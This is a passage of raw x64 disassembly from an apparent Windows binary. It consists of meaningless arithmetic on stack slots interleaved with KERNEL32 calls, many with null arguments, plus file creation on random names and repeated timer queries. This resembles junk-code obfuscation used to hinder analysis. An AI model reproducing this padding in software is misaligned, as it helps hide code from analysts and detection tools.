mov word [rcx], ax
lea rax, [rsp + 0x20e8]
mov qword [rsp + 0xd4e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.QWgHgidhet6t_vHDhq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd4e8], rax
mov rax, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0x93a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b888]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb8c8]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xd4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa9a8], rax
lea rax, [rsp + 0xcf38]
mov qword [rsp + 0xd4f8], rax
mov rax, qword [rsp + 0xd090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc418]
mov qword [rcx], rax
lea rcx, [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6f8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
mov byte [rsp + 0x409], al
mov rax, qword [rsp + 0xb038]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbe70]
mov qword [rsp + 0xd500], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd500]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3a34], eax
lea rdx, [rsp + 0x4740]
mov rcx, qword [rsp + 0xab78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov dword [rsp + 0x4db4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.1UHS9i1uTuKqtH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd508], rax
mov rax, qword [rsp + 0xab28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd198]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca98]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0x7cd0]
sub rcx, rax
mov rax, rcx
mov qword [0x14022c030], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov word [rcx], ax
movsx eax, word [rsp + 0x20d0]
mov rcx, qword [rsp + 0xbee8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe54], ax
movzx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0xc740]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f34], ax
mov rax, qword [rsp + 0x80b0]
mov qword [rsp + 0xd510], rax
mov rax, qword [rsp + 0xc500]
mov rcx, qword [rsp + 0xcba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0xb298]
mov ecx, dword [rsp + 0x4b00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4920], eax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0xd518], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xab80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbee8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf08]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov word [0x14022c0b8], ax
lea rax, [rsp + 0xa9e8]
mov qword [rsp + 0xd520], rax
movzx eax, word [rsp + 0x2050]
movzx ecx, word [rsp + 0x950]
xor eax, ecx
mov rcx, qword [rsp + 0xc6d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3db8]
mov ecx, dword [rsp + 0x4c3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0xcda8]
mov qword [rsp + 0xd528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd528]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9568], rax
lea rax, [rsp + 0x44f4]
mov qword [rsp + 0xd530], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x385]
add eax, ecx
mov rcx, qword [rsp + 0xcb78]
mov byte [rcx], al
mov rax, qword [rsp + 0xd060]
movzx eax, word [rax]
mov word [rsp + 0x2198], ax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb170]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a1e0], ax
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0x9e38]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc700]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb98]
mov rcx, qword [rsp + 0xbf88]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xce18], rax
lea rax, [rsp + 0x1dd0]
mov qword [rsp + 0xd538], rax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f58]
add eax, ecx
mov word [rsp + 0x1300], ax
mov rax, qword [rsp + 0xba68]
mov rax, qword [rax]
mov qword [rsp + 0xd540], rax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa700]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x3bd], al
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc198]
mov qword [rsp + 0xd548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd548]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xc480]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ae8], rax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1ee0]
mov rcx, qword [rsp + 0xb168]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022bf98]
mov word [rcx], ax
mov rax, qword [0x14022c070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f64]
xor eax, ecx
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xcf80]
mov eax, dword [rax]
mov dword [rsp + 0x4db8], eax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xc3a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a0], al
mov r9d, 0x14f5
xor r8d, r8d
lea rdx, [rsp + 0xa380]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dbc], eax
mov rax, qword [rsp + 0xb2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc938]
mov qword [rsp + 0xd550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd550]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4934]
shr eax, cl
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xd118]
mov rcx, qword [rsp + 0x77b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0xb408]
movzx eax, byte [rax]
mov byte [rsp + 0x40a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fd4], ax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
mov word [0x14022c0bc], ax
lea rcx, [rsp + 0xc9b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xbec8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xcb48]
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca00]
mov word [rcx], ax
mov rax, qword [rsp + 0xd468]
movsx eax, word [rax]
mov rcx, qword [0x14022ba70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd050]
mov word [rcx], ax
lea rax, [rsp + 0xa200]
mov qword [rsp + 0xd560], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x882c
mov rcx, qword [rsp + 0xba08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dc0], eax
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0xc638]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd80], rax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0xd568], rax
mov rax, qword [rsp + 0xd3f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa230]
mov qword [rsp + 0xd570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd570]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa580]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc028]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0xb028]
mov rcx, qword [0x14022b8d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022baf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7e0]
mov rcx, qword [rsp + 0xb450]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c90], eax
movzx eax, byte [rsp + 0x36f]
movzx ecx, byte [rsp + 0x3d4]
or eax, ecx
mov rcx, qword [rsp + 0xd298]
mov byte [rcx], al
movzx eax, word [rsp + 0x1fb0]
mov word [rsp + 0x219c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe68b
mov rcx, qword [rsp + 0xb148]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2058]
shl eax, cl
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0xad08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48dc], eax
lea rax, [rsp + 0x40a]
mov qword [rsp + 0xd578], rax
mov rax, qword [rsp + 0xb3e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d58]
shr rax, cl
mov qword [rsp + 0xb508], rax
lea rax, [rsp + 0xecc]
mov qword [rsp + 0xd580], rax
mov rax, qword [rsp + 0xcee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20a0]
add eax, ecx
mov rcx, qword [0x14022bd98]
mov word [rcx], ax
mov rax, qword [rsp + 0xafe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8170]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0xc020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb268]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8548], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xb700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed4]
sub eax, ecx
mov word [rsp + 0x1f80], ax
mov rax, qword [0x14022beb0]
mov rax, qword [rax]
mov qword [rsp + 0xd588], rax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xcf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc910]
mov dword [rcx], eax
lea rax, [rsp + 0x35e]
mov qword [rsp + 0xd590], rax
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4524]
movzx ecx, al
mov eax, dword [rsp + 0x43e4]
sar eax, cl
mov dword [rsp + 0x3d70], eax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcb90]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb660]
mov byte [rcx], al
movzx eax, word [rsp + 0x1ff4]
mov word [0x14022c0c0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x97ab
mov rcx, qword [rsp + 0xc520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b90], eax
mov rax, qword [0x14022bb58]
movzx eax, word [rax]
mov word [rsp + 0x21a0], ax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
or eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
lea rcx, [rsp + 0xd598]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbed0]
movzx ecx, al
mov rax, qword [rsp + 0xa9f8]
shl rax, cl
mov qword [rsp + 0x7e58], rax
movsx eax, byte [rsp + 0x219]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0x34d], al
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a10], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8bc6
mov rcx, qword [rsp + 0xa3f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dc8], eax
mov rax, qword [rsp + 0xb3e0]
mov rcx, qword [rsp + 0xb890]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1a8], rax
lea rax, [rsp + 0x3a1c]
mov qword [rsp + 0xd5a0], rax
lea rdx, [rsp + 0x4a88]
mov rcx, qword [rsp + 0xbb50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d34], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbaf2
mov rcx, qword [rsp + 0xbb70]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dcc], eax
mov rax, qword [rsp + 0xa970]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ea8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0xd5a8], rax
mov rax, qword [0x14022ba50]
mov rcx, qword [rsp + 0xa990]
mov qword [rsp + 0xd5b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5b0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022be10]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe78]
movzx ecx, word [rsp + 0x950]
add eax, ecx
mov word [rsp + 0x1d60], ax
mov rax, qword [rsp + 0xcf38]
mov rcx, qword [rsp + 0x7788]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf0], rax
lea rax, [rsp + 0x9f48]
mov qword [rsp + 0xd5b8], rax
mov rax, qword [rsp + 0xaef0]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b0c], eax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x38a]
mov qword [rsp + 0xd5c0], rax
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x379]
mov byte [rsp + 0x40b], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xb9a0]
mov rcx, qword [rsp + 0x83e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae50]
mov qword [rcx], rax
lea rax, [rsp + 0xaec]
mov qword [0x14022c0c8], rax
movsx eax, word [rsp + 0xb14]
movsx ecx, word [rsp + 0x1d54]
sar eax, cl
mov word [rsp + 0x1f04], ax
mov rax, qword [rsp + 0xa430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11c4], ax
lea rcx, [rsp + 0xd5c8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [0x14022c0bc]
mov rcx, qword [rsp + 0xb3d0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9ec], ax
lea rdx, [rsp + 0x493c]
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b4c], eax
lea rax, [rsp + 0x4768]
mov qword [rsp + 0xd5d0], rax
lea rcx, [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x353]
movsx ecx, byte [rsp + 0x395]
xor eax, ecx
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xc1a8]
mov rcx, qword [0x14022a018]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1db8]
mov word [rsp + 0x21a4], ax
movzx eax, word [rsp + 0x15f4]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb5e8]
mov word [rcx], ax
lea rax, [0x14022bec8]
mov qword [0x14022c0d0], rax
lea rax, [rsp + 0xcf88]
mov qword [rsp + 0xd5d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.nfo4wgofRxdN4_bf55
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd5e0], rax
mov r9d, 0x74b
xor r8d, r8d
lea rdx, [rsp + 0x9d50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0xc690]
mov rcx, qword [rsp + 0xa3d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xccc0]
mov qword [rcx], rax
mov rax, qword [0x14022b920]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd450]
sar rax, cl
mov qword [rsp + 0x9090], rax
lea rax, [rsp + 0x1c80]
mov qword [rsp + 0xd5e8], rax
mov eax, dword [rsp + 0x3ba8]
mov ecx, dword [rsp + 0x4ba4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0xb0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
sub eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xbf80]
mov rcx, qword [rsp + 0x7a58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
xor edx, edx
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
mov ecx, 0xf451
div ecx
mov rcx, qword [rsp + 0xba58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x39e]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14022b810], al
movzx eax, word [rsp + 0x2190]
mov word [rsp + 0x21a8], ax
movsx eax, word [rsp + 0x1e5c]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa1c], ax
lea rax, [rsp + 0x2010]
mov qword [rsp + 0xd5f0], rax
mov rcx, qword [rsp + 0xc1a0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7800], rax
mov rax, qword [rsp + 0xc390]
mov eax, dword [rax]
mov dword [rsp + 0x4dd0], eax
movsx eax, byte [rsp + 0x37c]
movsx ecx, byte [rsp + 0x3cf]
or eax, ecx
mov byte [rsp + 0x382], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb508]
movzx ecx, al
mov rax, qword [rsp + 0x9398]
shl rax, cl
mov rcx, qword [rsp + 0xbb30]
mov qword [rcx], rax
lea rdx, [rsp + 0x4708]
mov rcx, qword [rsp + 0xba08]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47bc], eax
lea rax, [rsp + 0x1c98]
mov qword [rsp + 0xd5f8], rax
lea rax, [rsp + 0x1e1c]
mov qword [0x14022c0d8], rax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0x94a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
movzx eax, word [rsp + 0xa64]
movzx ecx, word [0x14022a15c]
sar eax, cl
mov word [rsp + 0x7d4], ax
mov rax, qword [rsp + 0xceb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e0]
add eax, ecx
mov byte [rsp + 0x347], al
mov rax, qword [rsp + 0xa258]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc4d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x40c], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xb9c1
mov rcx, qword [rsp + 0xbb58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4dd4], eax
mov rax, qword [rsp + 0xbe08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rax, [rsp + 0x4298]
mov qword [rsp + 0xd600], rax
movsx eax, word [rsp + 0x1518]
movsx ecx, word [0x14022bf20]
sar eax, cl
mov rcx, qword [rsp + 0x9f90]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xade0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022c0d8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rcx, [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x499c]
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0xac28]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb300]
mov qword [rcx], rax
mov rax, qword [0x14022b9a8]
mov rcx, qword [rsp + 0xa038]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7308], rax
movsx eax, word [rsp + 0x2180]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b8], ax
lea rax, [rsp + 0xb10]
mov qword [rsp + 0xd608], rax
mov rax, qword [rsp + 0xc4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd530]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa190]
mov qword [rsp + 0xd610], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd610]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c48], eax
movzx eax, byte [0x14022b815]
mov byte [rsp + 0x40d], al
lea rcx, [rsp + 0xd008]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7638]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fd8], rax
mov rax, qword [rsp + 0xafd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14022ba28]
mov word [rcx], ax
movzx eax, word [0x14022c0b0]
mov word [rsp + 0x21ac], ax
mov eax, dword [rsp + 0x3d4c]
mov rcx, qword [rsp + 0xa8c0]
mov qword [rsp + 0xd618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd618]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x45c8], eax
mov rax, qword [rsp + 0xcd10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x31d], al
mov rax, qword [rsp + 0xc798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc640]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc778]
mov rcx, qword [rsp + 0x8220]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9b58], rax
lea rax, [0x14022bde8]
mov qword [rsp + 0xd620], rax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x167], al
movzx eax, word [rsp + 0xe24]
mov word [rsp + 0x21b0], ax
movzx eax, word [rsp + 0x1df0]
movzx ecx, word [0x14022a144]
sar eax, cl
mov word [0x14022a1e4], ax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [rsp + 0x7b18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79d0], rax
lea rdx, [rsp + 0x4800]
mov rcx, qword [rsp + 0xc520]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ddc], eax
movzx eax, word [rsp + 0x1994]
movzx ecx, word [rsp + 0x2094]
and eax, ecx
mov word [rsp + 0x1e68], ax
mov rcx, qword [rsp + 0xb2b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x140229f54]
mov qword [rsp + 0xd628], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xef72
mov rcx, qword [rsp + 0xb798]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4af8], eax
mov rax, qword [rsp + 0xc058]
movzx ecx, al
mov rax, qword [rsp + 0xcf08]
shl rax, cl
mov qword [rsp + 0xa038], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.yCSoZUn2_r7Ap38rAdY1P5e
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd630], rax
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2de]
or eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [0x14022bf80]
mov rcx, qword [rsp + 0x8578]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb4f8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8217
mov rcx, qword [rsp + 0xbd90]
